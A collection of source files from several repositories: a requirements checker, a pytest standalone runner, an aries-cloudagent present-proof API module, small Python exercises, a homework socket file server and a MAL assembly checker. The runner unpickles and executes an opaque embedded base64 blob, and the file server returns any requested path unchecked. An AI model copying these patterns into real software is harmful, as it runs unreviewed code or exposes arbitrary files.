IOError: print('Default file requirements.txt not found') sys.exit(errno.ENOENT) else: args_files = args.files # Make sure Python version is in X.Y format if re.match('^[2-3].[0-9]$', args.python) is None: print('Python argument invalid: Must be in X.Y format, where X is 2 or 3 and Y is 0-9') sys.exit(errno.EINVAL) print('Checking for compatibility with Python {}'.format(args.python)) compatibility_list = [] for filepath in args_files: print('{0}\r\n*****'.format(filepath.name)) packages = parse_requirements_file(filepath) compatibility_list += check_packages(packages, args.python) print('\n') if args.output: print("Yes") print(compatibility_list) with open(args.output, "w") as file_handle: writer = csv.writer(file_handle) writer.writerow(['package_name', 'package_version', 'latest_package_releases', 'python_versions_supported', 'is_compatible']) for row in compatibility_list: writer.writerow(row) if __name__ == '__main__': main() ``` #### File: josephbosire/checkmyreqs/runtests.py ```python sources = """ <KEY> <KEY> FPzUc1+05UuY+zMci1mbLUjOnLNWbplIxmdk8Z6esgiqTUCj6KCKeaWIOFFfIpmLaLtRx0w60Dio Yln7eMAlzzhUeYFF6HmSdnxSeDHQ/MwewPrm4+hs0tfr0TSyaEjfG4fVJO3oa4V67GSQgaiAOr8q dtrHx+JAj9BxJhq6FKDjrqC2rKstmldm5JrbvH/oYdQZSPx5pMkj5d7mvc/wiQqisruOYxWbKyNb +PoLtZ8agVCxCm/HzVigmuJYyotxpsQMGWskMKf8Y0RImK3Er7hDVQimey1cw4oP9iMD0b8HIVRW 6xvC/z2UPy3Gdy1O33XumEJs8QaYosWD1BgyrR71dtxsVkWbxH8oYwtpSUKy99uWax7J5M6fTNxQ GsIDctelsSf9x28N8ChyccF6ypPdC7x22PPzdip8WkTALR//kWiVARpu6Z/dBXTJ+E1+R5+i9Eub IO8nouRd4W+YIOPHcLJ/P+z2HTeYaSPtsAYyXAIgbNPdAWVZFb9JbHwRuups/gQFcjaTSLdmNovD d985oaHdAQb6WP31ybBr1Q5TGsbbN+S6bhxwOEEKPopf5uxIA3T/8q7jUGQgkKk0SbVvwEieBQEu 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def __init__(self, sources): self.sources = sources def find_module(self, fullname, path=None): if fullname == "argparse" and sys.version_info >= (2,7): # we were generated with <python2.7 (which pulls in argparse) # but we are running now on a stdlib which has it, so use that. return None if fullname in self.sources: return self if fullname + '.__init__' in self.sources: return self return None def load_module(self, fullname): # print "load_module:", fullname from types import ModuleType try: s = self.sources[fullname] is_pkg = False except KeyError: s = self.sources[fullname + '.__init__'] is_pkg = True co = compile(s, fullname, 'exec') module = sys.modules.setdefault(fullname, ModuleType(fullname)) module.__file__ = "%s/%s" % (__file__, fullname) module.__loader__ = self if is_pkg: module.__path__ = [fullname] do_exec(co, module.__dict__) # noqa return sys.modules[fullname] def get_source(self, name): res = self.sources.get(name) if res is None: res = self.sources.get(name + '.__init__') return res if __name__ == "__main__": if sys.version_info >= (3, 0): exec("def do_exec(co, loc): exec(co, loc)\n") import pickle sources = sources.encode("ascii") # ensure bytes sources = pickle.loads(zlib.decompress(base64.decodebytes(sources))) else: import cPickle as pickle exec("def do_exec(co, loc): exec co in loc\n") sources = pickle.loads(zlib.decompress(base64.decodestring(sources))) importer = DictImporter(sources) sys.meta_path.insert(0, importer) entry = "import py; raise SystemExit(py.test.cmdline.main())" do_exec(entry, locals()) # noqa ```
{ "source": "josephboyle/aries-cloudagent-python", "score": 2 }
#### File: present_proof/v1_0/routes.py ```python import json from uuid import uuid4 from aiohttp import web from aiohttp_apispec import docs, request_schema, response_schema from marshmallow import Schema, fields from ....connections.models.connection_record import ConnectionRecord from ....holder.base import BaseHolder from ....messaging.decorators.attach_decorator import AttachDecorator from ....messaging.valid import ( INDY_CRED_DEF_ID, INDY_DID, INDY_PREDICATE, INDY_SCHEMA_ID, INDY_VERSION, INT_EPOCH, UUIDFour, ) from ....storage.error import StorageNotFoundError from .manager import PresentationManager from .messages.inner.presentation_preview import ( PresentationPreview, PresentationPreviewSchema, ) from .messages.presentation_proposal import PresentationProposal from .messages.presentation_request import PresentationRequest from .models.presentation_exchange import ( V10PresentationExchange, V10PresentationExchangeSchema, ) class V10PresentationExchangeListSchema(Schema): """Result schema for an Aries#0037 v1.0 presentation exchange query.""" results = fields.List( fields.Nested(V10PresentationExchangeSchema()), description="Aries#0037 v1.0 presentation exchange records", ) class V10PresentationProposalRequestSchema(Schema): """Request schema for sending a presentation proposal admin message.""" connection_id = fields.UUID( description="Connection identifier", required=True, example=UUIDFour.EXAMPLE, ) comment = fields.Str( description="Human-readable comment", required=False, default="" ) presentation_proposal = fields.Nested(PresentationPreviewSchema(), required=True) auto_present = fields.Boolean( description=( "Whether to respond automatically to presentation requests, building " "and presenting requested proof" ), required=False, default=False, ) class IndyProofReqSpecRestrictionsSchema(Schema): """Schema for restrictions in attr or pred specifier indy proof request.""" credential_definition_id = fields.Str( description="Credential definition identifier", required=True, **INDY_CRED_DEF_ID ) schema_id = fields.String( description="Schema identifier", required=False, **INDY_SCHEMA_ID ) schema_issuer_did = fields.String( description="Schema issuer (origin) DID", required=False, **INDY_DID ) schema_name = fields.String( example="transcript", description="Schema name", required=False ) schema_version = fields.String( description="Schema version", required=False, **INDY_VERSION ) issuer_did = fields.String( description="Credential issuer DID", required=False, **INDY_DID ) cred_def_id = fields.String( description="Credential definition identifier", required=False, **INDY_CRED_DEF_ID ) class IndyProofReqNonRevoked(Schema): """Non-revocation times specification in indy proof request.""" from_epoch = fields.Int( description="Earliest epoch of interest for non-revocation proof", required=True, **INT_EPOCH ) to_epoch = fields.Int( description="Latest epoch of interest for non-revocation proof", required=True, **INT_EPOCH ) class IndyProofReqAttrSpecSchema(Schema): """Schema for attribute specification in indy proof request.""" name = fields.String( example="favouriteDrink", description="Attribute name", required=True ) restrictions = fields.List( fields.Nested(IndyProofReqSpecRestrictionsSchema()), description="If present, credential must satisfy one of given restrictions", required=False, ) non_revoked = fields.Nested(IndyProofReqNonRevoked(), required=False) class IndyProofReqPredSpecSchema(Schema): """Schema for predicate specification in indy proof request.""" name = fields.String(example="index", description="Attribute name", required=True) p_type: fields.String( description="Predicate type (indy currently supports only '>=')", required=True, **INDY_PREDICATE ) p_value: fields.Integer( description="Threshold value", required=True, ) restrictions = fields.List( fields.Nested(IndyProofReqSpecRestrictionsSchema()), description="If present, credential must satisfy one of given restrictions", required=False, ) non_revoked = fields.Nested(IndyProofReqNonRevoked(), required=False) class IndyProofRequestSchema(Schema): """Schema for indy proof request.""" nonce = fields.String(description="Nonce", required=False, example="1234567890") name = fields.String( description="Proof request name", required=False, example="Proof request", default="Proof request", ) version = fields.String( description="Proof request version", required=False, default="1.0", **INDY_VERSION ) requested_attributes = fields.Dict( description=("Requested attribute specifications of proof request"), required=True, keys=fields.Str(example="0_attr_uuid"), # marshmallow/apispec v3.0 ignores values=fields.Nested(IndyProofReqAttrSpecSchema()), ) requested_predicates = fields.Dict( description=("Requested predicate specifications of proof request"), required=True, keys=fields.Str(example="0_age_GE_uuid"), # marshmallow/apispec v3.0 ignores values=fields.Nested(IndyProofReqPredSpecSchema()), ) class V10PresentationRequestRequestSchema(Schema): """Request schema for sending a proof request.""" connection_id = fields.UUID( description="Connection identifier", required=True, example=UUIDFour.EXAMPLE, ) proof_request = fields.Nested(IndyProofRequestSchema(), required=True) comment = fields.Str(required=False) class IndyRequestedCredsRequestedAttrSchema(Schema): """Schema for requested attributes within indy requested credentials structure.""" cred_id = fields.Str( example="3fa85f64-5717-4562-b3fc-2c963f66afa6", description=( "Wallet credential identifier (typically but not necessarily a UUID)" ), ) revealed = fields.Bool( description="Whether to reveal attribute in proof", default=True ) class IndyRequestedCredsRequestedPredSchema(Schema): """Schema for requested predicates within indy requested credentials structure.""" cred_id = fields.Str( example="3<PASSWORD>", description=( "Wallet credential identifier (typically but not necessarily a UUID)" ), ) class V10PresentationRequestSchema(Schema): """Request schema for sending a presentation.""" self_attested_attributes = fields.Dict( description=("Self-attested attributes to build into proof"), required=True, keys=fields.Str(example="attr_name"), # marshmallow/apispec v3.0 ignores values=fields.Str( example="self_attested_value", description=( "Self-attested attribute values to use in requested-credentials " "structure for proof construction" ), ), ) requested_attributes = fields.Dict( description=( "Nested object mapping proof request attribute referents to " "requested-attribute specifiers" ), required=True, keys=fields.Str(example="attr_referent"), # marshmallow/apispec v3.0 ignores values=fields.Nested(IndyRequestedCredsRequestedAttrSchema()), ) requested_predicates = fields.Dict( description=( "Nested object mapping proof request predicate referents to " "requested-predicate specifiers" ), required=True, keys=fields.Str(example="pred_referent"), # marshmallow/apispec v3.0 ignores values=fields.Nested(IndyRequestedCredsRequestedPredSchema()), ) @docs(tags=["present-proof"], summary="Fetch all present-proof exchange records") @response_schema(V10PresentationExchangeListSchema(), 200) async def presentation_exchange_list(request: web.BaseRequest): """ Request handler for searching presentation exchange records. Args: request: aiohttp request object Returns: The presentation exchange list response """ context = request.app["request_context"] tag_filter = {} if "thread_id" in request.query and request.query["thread_id"] != "": tag_filter["thread_id"] = request.query["thread_id"] post_filter = {} for param_name in ( "connection_id", "role", "state", ): if param_name in request.query and request.query[param_name] != "": post_filter[param_name] = request.query[param_name] records = await V10PresentationExchange.query(context, tag_filter, post_filter) return web.json_response({"results": [record.serialize() for record in records]}) @docs(tags=["present-proof"], summary="Fetch a single presentation exchange record") @response_schema(V10PresentationExchangeSchema(), 200) async def presentation_exchange_retrieve(request: web.BaseRequest): """ Request handler for fetching a single presentation exchange record. Args: request: aiohttp request object Returns: The presentation exchange record response """ context = request.app["request_context"] presentation_exchange_id = request.match_info["pres_ex_id"] try: record = await V10PresentationExchange.retrieve_by_id( context, presentation_exchange_id ) except StorageNotFoundError: raise web.HTTPNotFound() return web.json_response(record.serialize()) @docs( tags=["present-proof"], summary="Fetch credentials for a presentation request from wallet", parameters=[ { "name": "start", "in": "query", "schema": {"type": "string"}, "required": False, }, { "name": "count", "in": "query", "schema": {"type": "string"}, "required": False, }, { "name": "extra_query", "in": "query", "schema": {"type": "string"}, "required": False, }, ], ) async def presentation_exchange_credentials_list(request: web.BaseRequest): """ Request handler for searching applicable credential records. Args: request: aiohttp request object Returns: The credential list response """ context = request.app["request_context"] presentation_exchange_id = request.match_info["pres_ex_id"] referents = request.match_info.get("referent") presentation_referents = referents.split(",") if referents else () try: presentation_exchange_record = await V10PresentationExchange.retrieve_by_id( context, presentation_exchange_id ) except StorageNotFoundError: raise web.HTTPNotFound() start = request.query.get("start") count = request.query.get("count") # url encoded json extra_query encoded_extra_query = request.query.get("extra_query") or "{}" extra_query = json.loads(encoded_extra_query) # defaults start = int(start) if isinstance(start, str) else 0 count = int(count) if isinstance(count, str) else 10 holder: BaseHolder = await context.inject(BaseHolder) credentials = await holder.get_credentials_for_presentation_request_by_referent( presentation_exchange_record.presentation_request, presentation_referents, start, count, extra_query, ) presentation_exchange_record.log_state( context, "Retrieved presentation credentials", { "presentation_exchange_id": presentation_exchange_id, "referents": presentation_referents, "extra_query": extra_query, "credentials": credentials, }, ) return web.json_response(credentials) @docs(tags=["present-proof"], summary="Sends a presentation proposal") @request_schema(V10PresentationProposalRequestSchema()) @response_schema(V10PresentationExchangeSchema(), 200) async def presentation_exchange_send_proposal(request: web.BaseRequest): """ Request handler for sending a presentation proposal. Args: request: aiohttp request object Returns: The presentation exchange details """ context = request.app["request_context"] outbound_handler = request.app["outbound_message_router"] body = await request.json() connection_id = body.get("connection_id") try: connection_record = await ConnectionRecord.retrieve_by_id( context, connection_id ) except StorageNotFoundError: raise web.HTTPBadRequest() if not connection_record.is_ready: raise web.HTTPForbidden() comment = body.get("comment") # Aries#0037 calls it a proposal in the proposal struct but it's of type preview presentation_preview = body.get("presentation_proposal") presentation_proposal_message = PresentationProposal( comment=comment, presentation_proposal=PresentationPreview.deserialize(presentation_preview), ) auto_present = body.get( "auto_present", context.settings.get("debug.auto_respond_presentation_request") ) presentation_manager = PresentationManager(context) ( presentation_exchange_record ) = await presentation_manager.create_exchange_for_proposal( connection_id=connection_id, presentation_proposal_message=presentation_proposal_message, auto_present=auto_present, ) await outbound_handler(presentation_proposal_message, connection_id=connection_id) return web.json_response(presentation_exchange_record.serialize()) @docs( tags=["present-proof"], summary="Sends a free presentation request not bound to any proposal", ) @request_schema(V10PresentationRequestRequestSchema()) @response_schema(V10PresentationExchangeSchema(), 200) async def presentation_exchange_send_free_request(request: web.BaseRequest): """ Request handler for sending a presentation request free from any proposal. Args: request: aiohttp request object Returns: The presentation exchange details """ context = request.app["request_context"] outbound_handler = request.app["outbound_message_router"] body = await request.json() connection_id = body.get("connection_id") try: connection_record = await ConnectionRecord.retrieve_by_id( context, connection_id ) except StorageNotFoundError: raise web.HTTPBadRequest() if not connection_record.is_ready: raise web.HTTPForbidden() comment = body.get("comment") indy_proof_request = body.get("proof_request") if not indy_proof_request.get("nonce"): indy_proof_request["nonce"] = str(uuid4().int) presentation_request_message = PresentationRequest( comment=comment, request_presentations_attach=[ AttachDecorator.from_indy_dict(indy_proof_request) ], ) presentation_manager = PresentationManager(context) ( presentation_exchange_record ) = await presentation_manager.create_exchange_for_request( connection_id=connection_id, presentation_request_message=presentation_request_message, ) await outbound_handler(presentation_request_message, connection_id=connection_id) return web.json_response(presentation_exchange_record.serialize()) @docs( tags=["present-proof"], summary="Sends a presentation request in reference to a proposal", ) @request_schema(V10PresentationRequestRequestSchema()) @response_schema(V10PresentationExchangeSchema(), 200) async def presentation_exchange_send_bound_request(request: web.BaseRequest): """ Request handler for sending a presentation request free from any proposal. Args: request: aiohttp request object Returns: The presentation exchange details """ context = request.app["request_context"] outbound_handler = request.app["outbound_message_router"] presentation_exchange_id = request.match_info["pres_ex_id"] presentation_exchange_record = await V10PresentationExchange.retrieve_by_id( context, presentation_exchange_id ) assert presentation_exchange_record.state == ( V10PresentationExchange.STATE_PROPOSAL_RECEIVED ) body = await request.json() connection_id = body.get("connection_id") try: connection_record = await ConnectionRecord.retrieve_by_id( context, connection_id ) except StorageNotFoundError: raise web.HTTPBadRequest() if not connection_record.is_ready: raise web.HTTPForbidden() presentation_manager = PresentationManager(context) ( presentation_exchange_record, presentation_request_message, ) = await presentation_manager.create_bound_request(presentation_exchange_record) await outbound_handler(presentation_request_message, connection_id=connection_id) return web.json_response(presentation_exchange_record.serialize()) @docs(tags=["present-proof"], summary="Sends a proof presentation") @request_schema(V10PresentationRequestSchema()) @response_schema(V10PresentationExchangeSchema()) async def presentation_exchange_send_presentation(request: web.BaseRequest): """ Request handler for sending a presentation. Args: request: aiohttp request object Returns: The presentation exchange details """ context = request.app["request_context"] outbound_handler = request.app["outbound_message_router"] presentation_exchange_id = request.match_info["pres_ex_id"] presentation_exchange_record = await V10PresentationExchange.retrieve_by_id( context, presentation_exchange_id ) body = await request.json() connection_id = presentation_exchange_record.connection_id try: connection_record = await ConnectionRecord.retrieve_by_id( context, connection_id ) except StorageNotFoundError: raise web.HTTPBadRequest() if not connection_record.is_ready: raise web.HTTPForbidden() assert ( presentation_exchange_record.state ) == V10PresentationExchange.STATE_REQUEST_RECEIVED presentation_manager = PresentationManager(context) ( presentation_exchange_record, presentation_message, ) = await presentation_manager.create_presentation( presentation_exchange_record, { "self_attested_attributes": body.get("self_attested_attributes"), "requested_attributes": body.get("requested_attributes"), "requested_predicates": body.get("requested_predicates"), }, comment=body.get("comment"), ) await outbound_handler(presentation_message, connection_id=connection_id) return web.json_response(presentation_exchange_record.serialize()) @docs(tags=["present-proof"], summary="Verify a received presentation") @response_schema(V10PresentationExchangeSchema()) async def presentation_exchange_verify_presentation(request: web.BaseRequest): """ Request handler for verifying a presentation request. Args: request: aiohttp request object Returns: The presentation exchange details """ context = request.app["request_context"] presentation_exchange_id = request.match_info["pres_ex_id"] presentation_exchange_record = await V10PresentationExchange.retrieve_by_id( context, presentation_exchange_id ) connection_id = presentation_exchange_record.connection_id try: connection_record = await ConnectionRecord.retrieve_by_id( context, connection_id ) except StorageNotFoundError: raise web.HTTPBadRequest() if not connection_record.is_ready: raise web.HTTPForbidden() assert ( presentation_exchange_record.state ) == V10PresentationExchange.STATE_PRESENTATION_RECEIVED presentation_manager = PresentationManager(context) presentation_exchange_record = await presentation_manager.verify_presentation( presentation_exchange_record ) return web.json_response(presentation_exchange_record.serialize()) @docs( tags=["present-proof"], summary="Remove an existing presentation exchange record", ) async def presentation_exchange_remove(request: web.BaseRequest): """ Request handler for removing a presentation exchange record. Args: request: aiohttp request object """ context = request.app["request_context"] presentation_exchange_id = request.match_info["pres_ex_id"] try: presentation_exchange_record = await V10PresentationExchange.retrieve_by_id( context, presentation_exchange_id ) except StorageNotFoundError: raise web.HTTPNotFound() await presentation_exchange_record.delete_record(context) return web.json_response({}) async def register(app: web.Application): """Register routes.""" app.add_routes( [ web.get("/present-proof/records", presentation_exchange_list), web.get( "/present-proof/records/{pres_ex_id}", presentation_exchange_retrieve ), web.get( "/present-proof/records/{pres_ex_id}/credentials", presentation_exchange_credentials_list, ), web.get( "/present-proof/records/{pres_ex_id}/credentials/{referent}", presentation_exchange_credentials_list, ), web.post( "/present-proof/send-proposal", presentation_exchange_send_proposal, ), web.post( "/present-proof/send-request", presentation_exchange_send_free_request, ), web.post( "/present-proof/records/{pres_ex_id}/send-request", presentation_exchange_send_bound_request, ), web.post( "/present-proof/records/{pres_ex_id}/send-presentation", presentation_exchange_send_presentation, ), web.post( "/present-proof/records/{pres_ex_id}/verify-presentation", presentation_exchange_verify_presentation, ), web.post( "/present-proof/records/{pres_ex_id}/remove", presentation_exchange_remove, ), ] ) ```
{ "source": "joseph-brennan/concept-code", "score": 4 }
#### File: Python/practice_code/BMI calc.py ```python class BMI: def __init__(self): self.weight = int(input("what is your weight? ")) self.height = 12 * int(input("what is your height in feet? ")) def calcBmi(self): result = (self.weight * 703) / self.height ** 2 print("your BMI is {}".format(result)) if result < 18.5: print("under weight") elif result > 25: print("over weight") else: print("optimal weight range") if __name__ == '__main__': bmi = BMI() bmi.calcBmi() ``` #### File: Python/practice_code/ID.py ```python class ID: def __init__(self): self.first = input("what is your first name? ") self.last = input("what is your last name? ") def output(self): full = self.first + self.last print("your full name is {} {} with initials {} {} with length of {}".format( self.first, self.last, self.first[0], self.last[0], len(full))) if __name__ == '__main__': idname = ID() idname.output() ```
{ "source": "joseph-brennan/cs3700", "score": 3 }
#### File: cs3700/hw1/hw1Server.py ```python import os import socket import threading class Server: def __init__(self): self.serverPort = 5010 self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) def connection(self): self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind(('', self.serverPort)) self.socket.listen(5) print("The server is ready to receive") while True: connection_socket, address = self.socket.accept() threading.Thread(self.loop(connection_socket, address)).start() def loop(self, connection_socket, addresss): str_header = connection_socket.recv(1024) if str_header == "NULL": connection_socket.close() exit(0) header = str_header.split('\n') if header[0] == "Get": # print header[0] if os.path.isfile(header[1]): # print header[1] f = open(header[1], 'rb') line = f.read(1024) connection_socket.send(line) # print line if not line: f.close() self.socket.close() else: print("404 Not Found") connection_socket.send("404 Not Found") connection_socket.close() else: print("400 Bad Request") connection_socket.send("400 Bad Request") connection_socket.close() if __name__ == '__main__': server1 = Server() server1.connection() ```
{ "source": "joseph-brennan/PPL", "score": 3 }
#### File: PPL/Mal_checking/MAL Checking.py ```python import time class MalChecking: def __init__(self, file_name): """ initial set up of the language definition with the known syntax of MAL :param file_name: name of the mall file to check """ # saved file name self.file_name = file_name try: # open the Mal and log files self.mal_file = open("{}.mal".format(file_name), 'r') self.log = open("{}.log".format(file_name), 'w') except FileNotFoundError or IOError: print("File not found please enter MAL file in this directory") exit(1) # known instruction codes in MAL self.instruction = {1: "BR", 2: "BGT", 3: "BLT", 4: "BEQ", 5: "DIV", 6: "MUL", 7: "DEC", 8: "SUB", 9: "INC", 10: "ADD", 11: "MOVEI", 12: "MOVE"} # available registers in MAL self.register = {1: "R0", 2: "R1", 3: "R2", 4: "R3", 5: "R4", 6: "R5", 7: "R6", 8: "R7"} # each key corresponds to the line where the error takes place # which holds the list of evey error in that line self.errors = {} # current list of errors on the line # copied to error dictionary self.list = [] # the full line of code unedited self.print_line = {} # tracks the line numbers and uses them for keys self.count = 0 # list of labels in code self.label = [] # list of branch to memory locations self.branch = {} # count of each error that occurred in file self.error_count = {"ill-formed label": 0, "invalid op_code": 0, "too many operands": 0, "too few operands": 0, "ill-formed operands": 0, "wrong operand type": 0, "label warnings": 0} def read_file(self): """ File parser where comments and blank lines are removed but line count is saved once the file has been read it checks the branch against the labels and closes the file :return: at end of file read and log write """ for i in self.mal_file: line = i.strip() self.count += 1 # blank line move forward if line in ('\n', '\r\n', ''): continue # skip the comments if line.startswith(";"): continue # known end of file if line == "END": break else: line = line.partition(';') no_comment = i.partition(';') self.print_line[self.count] = no_comment[0] self.error_checking(line[0].strip()) self.branch_checker() self.mal_file.close() self.file_end() def error_checking(self, line): """ where current line of code is handed down to all the error checking is saved all the error files :param line: current line of non empty string :return: when the line is finished the checks returns for next line in file """ self.bad_label(line) self.errors[self.count] = self.list.copy() self.list.clear() def bad_label(self, line): """ checks for if there is a label and then verifies the label is valid :param line: current line of code in its complete form :return: has finished all error checks or there is only a label on the line """ label = line.partition(":") # there is a label if label[1] == ':': # only a label if label[2] == '': if not label[0].isalpha(): self.list.append("** error: label can only contains letters") self.error_count["ill-formed label"] += 1 elif len(label[0]) > 5: self.list.append("** error: label can at most be 5 char long") self.error_count["ill-formed label"] += 1 # valid label else: self.label.append(label[0]) return # label on line else: if not label[0].isalpha(): self.list.append("** error: label can only contains letters") self.error_count["ill-formed label"] += 1 elif len(label[0]) > 5: self.list.append("** error: label can at most be 5 char long") self.error_count["ill-formed label"] += 1 # valid label else: self.label.append(label[0]) self.invalid_op_code(label[2].strip()) return # no label else: self.invalid_op_code(label[0].strip()) return def invalid_op_code(self, line): """ current line of code without a label if there was one, verifies that the instruction code is a valid MAL one :param line: current line of MAL without a label :return: all checks have been preformed """ op_code = line.partition(" ") if op_code[0] in self.instruction.values(): # valid op_code self.bad_operands(line) return else: self.list.append("** error: invalid op_code") self.error_count["invalid op_code"] += 1 # now checking for more then one error self.bad_operands(line) return def bad_operands(self, line): """ splits out the instruction from its operands and checks that the op_code has the right number of operands :param line: instruction and its operands`` :return: this check and all deeper checks have been preformed """ op_code = line.partition(" ") operand = op_code[2].split(",") operands = [] for op in operand: operands.append(op.strip()) switch = 0 if op_code[0] in self.instruction.values(): for key in self.instruction.keys(): if self.instruction.get(key) == op_code[0]: switch = key # BR, DEC, and INC if switch in (1, 7, 9): if len(operands) > 1: self.list.append("** error: can only have one input for {}".format( self.instruction.get(switch))) self.error_count["too many operands"] += 1 elif len(operands) < 1: self.list.append("** error: needs one input for {}".format(self.instruction.get(switch))) self.error_count["too few operands"] += 1 # MOVEI and MOVE elif switch in (11, 12): if len(operands) > 2: self.list.append("** error: can only have two arguments in {}".format( self.instruction.get(switch))) self.error_count["too many operands"] += 1 elif len(operands) < 2: self.list.append("** error: needs two inputs for {}".format(self.instruction.get(switch))) self.error_count["too few operands"] += 1 # BGT, BLT, BEQ, DIV, MUL, SUB, and ADD elif switch in (2, 3, 4, 5, 6, 8, 10): if len(operands) > 3: self.list.append("** error: can only have three arguments in {}".format( self.instruction.get(switch))) self.error_count["too many operands"] += 1 elif len(operands) < 3: self.list.append("** error: needs three inputs for {}".format(self.instruction.get(switch))) self.error_count["too few operands"] += 1 self.wrong_operands(op_code[0], operands) return def wrong_operands(self, op_code, operand): """ using the work performed before to separate the instruction from its operands it checks each type of operand in the instruction is the correct type :param op_code: the instruction :param operand: the operands for the instruction :return: this and the last error check have been performed """ switch = 0 for key in self.instruction.keys(): if self.instruction.get(key) == op_code: switch = key # Move if switch == 12: try: self.source_check(operand[0]) try: self.destination_check(operand[1]) except IndexError: self.list.append("** error: no destination") self.error_count["ill-formed operands"] += 1 except IndexError: self.list.append("** error: no source") self.list.append("** error: no destination") self.error_count["ill-formed operands"] += 1 # MOVEI elif switch == 11: try: self.immediate_check(operand[0]) try: self.destination_check(operand[1]) except IndexError: self.list.append("** error: no destination") self.error_count["ill-formed operands"] += 1 except IndexError: self.list.append("** error: no source") self.list.append("** error: no destination") self.error_count["ill-formed operands"] += 1 # ADD or SUB or MUL or DIV elif switch in (10, 8, 6, 5): try: self.source_check(operand[0]) try: self.source_check(operand[1]) try: self.destination_check(operand[2]) except IndexError: self.list.append("** error: missing destination") self.error_count["ill-formed operands"] += 1 except IndexError: self.list.append("** error: second source missing") self.list.append("** error: missing destination") self.error_count["ill-formed operands"] += 1 except IndexError: self.list.append("** error: first source missing") self.list.append("** error: second source missing") self.list.append("** error: missing destination") self.error_count["ill-formed operands"] += 1 # INC or DEC elif switch in (9, 7): try: self.source_check(operand[0]) except IndexError: self.list.append("** error: missing source") self.error_count["ill-formed operands"] += 1 # BEQ or BLT or BGT elif switch in (4, 3, 2): try: self.source_check(operand[0]) try: self.source_check(operand[1]) try: self.label_check(operand[2]) except IndexError: self.list.append("** error: missing label") self.error_count["ill-formed operands"] += 1 except IndexError: self.list.append("** error: missing second source") self.list.append("** error: missing label") self.error_count["ill-formed operands"] += 1 except IndexError: self.list.append("** error: missing first source") self.list.append("** error: missing second source") self.list.append("** error: missing label") self.error_count["ill-formed operands"] += 1 # BR elif switch == 1: try: self.label_check(operand[0]) except IndexError: self.list.append("** error: no label") self.error_count["ill-formed operands"] += 1 self.warning_label(op_code, operand) def warning_label(self, op_code, operand): """ If there is a branch instruction add it to a dictionary keyed by the line number where the instruction is found so at the end of the file it can be compared to the list of labels seen in the file :param op_code: what should be a branch instruction :param operand: the operands of the instruction :return: after saving the branch label for the end of the file """ # BR if op_code == self.instruction.get(1): try: self.branch[self.count] = operand[0] except IndexError: pass # BGT or BLT or BEQ elif op_code in (self.instruction.get(4), self.instruction.get(3), self.instruction.get(2)): try: self.branch[self.count] = operand[2] except IndexError: pass # check of source correctness def source_check(self, source): """ checks that source operands are of the right type :param source: a source operand :return: after checking and writing to an error if it found one """ if source[0] == "R" and source[1].isdigit(): if source not in self.register.values(): self.list.append("** error: registers are only between 0 and 7") self.error_count["wrong operand type"] += 1 return elif source.lower().isalpha() is False: self.list.append("** error: source can only contains letters") self.error_count["wrong operand type"] += 1 return elif len(source) > 5: self.list.append("** error: source can at most be 5 char long") self.error_count["wrong operand type"] += 1 return # check of destination correctness def destination_check(self, destination): """ check that the destination operands are of teh right type (almost the same as the source but it has different error code to be more useful) :param destination: a destination operand :return: after checking and writing its error if it found one """ if destination[0] == "R" and destination[1].isdigit(): if destination not in self.register.values(): self.list.append("** error: registers are only between 0 and 7") self.error_count["wrong operand type"] += 1 return elif destination.isalpha() is False: self.list.append("** error: destination can only contains letters") self.error_count["wrong operand type"] += 1 return elif len(destination) > 5: self.list.append("** error: destination can at most be 5 char long") self.error_count["wrong operand type"] += 1 return # check of integer value def immediate_check(self, immediate): """ checks that there is an octal immediate value :param immediate: what should be an octal number :return: after checking and writing an error if found """ if immediate.isdigit(): for number in immediate: if int(number) > 7: self.list.append("** error: number {} is not in octal format".format(number)) self.error_count["wrong operand type"] += 1 return return else: self.list.append("** error: immediate value expected not register or memory location") self.error_count["wrong operand type"] += 1 return # check of label to branch def label_check(self, label): """ check that a branch label is a valid memory location and later the label is checked for if the label is a label in the code :param label: a memory location :return: checks that the label and rights an error if found """ if not label.isalpha(): self.list.append("** error: {} memory location can only contains letters".format(label)) self.error_count["wrong operand type"] += 1 return elif len(label) > 5: self.list.append("** error: label {} can at most be 5 char long".format(label)) self.error_count["wrong operand type"] += 1 return def branch_checker(self): """ checks the valid labels in the code against the branch instruction labels after the whole file as been read for the final error check :return: after writing a error if the label branching to doesn't exist """ for key in self.branch.keys(): if self.branch.get(key) not in self.label: self.errors[key].append("** error: branch {} is to label that isn't defined".format( self.branch.get(key))) self.error_count["label warnings"] += 1 else: continue def file_end(self): """ this writes to the log file all the information that the error checking has done :return: finished witting and closed the log filed """ self.log.write("MAL File Checker for: {}.mal log file, named {}.log, {}, By <NAME> CS 3210\n".format( self.file_name, self.file_name, time.ctime())) self.log.write("-------------------------------------------------------\n") self.log.write("MAL Program Listing:MAL Program Listing:\n\n") true_count = 0 for line in sorted(self.print_line.keys()): true_count += 1 self.log.write("{}: {}\n".format(line, self.print_line.get(line))) if line in self.errors.keys(): for error in self.errors.get(line): self.log.write("{}\n".format(error)) self.log.write('\n') self.log.write("-------------------------------------------------------\n") count = 0 for key in sorted(self.error_count.keys()): count += self.error_count.get(key) self.log.write("total lines of code = {}\ntotal errors = {}\n".format(true_count, count)) for key in sorted(self.error_count.keys()): self.log.write("{} {}\n".format(self.error_count.get(key), key)) self.log.write("Processing complete: ") if count > 0: self.log.write("MAL program is not valid.") else: self.log.write("MAL program is valid.") self.log.close() if __name__ == '__main__': while True: name = input("what is the name of the MAL file? ") mal = MalChecking(name) mal.read_file() loop = input("Would you like to check another file Y/n? ") if loop.lower() in ("no", "n"): break elif loop.strip() == "": continue elif loop.lower() not in ("yes", "y"): print("error not a valid input shutting down") exit(1) else: continue ```
{ "source": "joseph-brennan/smoke", "score": 3 }
